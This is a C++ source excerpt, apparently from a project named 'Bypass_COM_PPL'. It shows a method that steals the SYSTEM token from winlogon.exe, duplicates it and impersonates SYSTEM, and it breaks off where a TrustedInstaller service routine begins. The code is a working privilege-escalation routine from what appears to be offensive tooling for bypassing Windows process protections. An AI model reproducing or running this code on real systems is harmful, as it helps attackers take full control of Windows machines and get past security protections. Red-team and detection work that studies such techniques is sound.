Method ImpersonateSystem

Bypass_COM_PPL/trustinstaller_utils.cpp:69–117

}

void Elevate::ImpersonateSystem()
{
    auto systemPid = GetProcessIdByName(L"winlogon.exe");
    HANDLE hSystemProcess;
    if ((hSystemProcess = OpenProcess(
        PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
        FALSE,
        systemPid)) == nullptr)
    {
        throw std::runtime_error("OpenProcess failed (winlogon.exe): " + std::to_string(GetLastError()));
    }

    HANDLE hSystemToken;
    if (!OpenProcessToken(
        hSystemProcess,
        MAXIMUM_ALLOWED,
        &hSystemToken))
    {
        CloseHandle(hSystemProcess);
        throw std::runtime_error("OpenProcessToken failed (winlogon.exe): " + std::to_string(GetLastError()));
    }

    HANDLE hDupToken;
    SECURITY_ATTRIBUTES tokenAttributes;
    tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
    tokenAttributes.lpSecurityDescriptor = nullptr;
    tokenAttributes.bInheritHandle = FALSE;
    if (!DuplicateTokenEx(
        hSystemToken,
        MAXIMUM_ALLOWED,
        &tokenAttributes,
        SecurityImpersonation,
        TokenImpersonation,
        &hDupToken))
    {
        CloseHandle(hSystemToken);
        throw std::runtime_error("DuplicateTokenEx failed (winlogon.exe): " + std::to_string(GetLastError()));
    }

    if (!ImpersonateLoggedOnUser(hDupToken))
    {
        CloseHandle(hDupToken);
        CloseHandle(hSystemToken);
        throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError()));
    }

    CloseHandle(hDupToken);
    CloseHandle(hSystemToken);
}

int Elevate::StartTrustedInstallerService()
{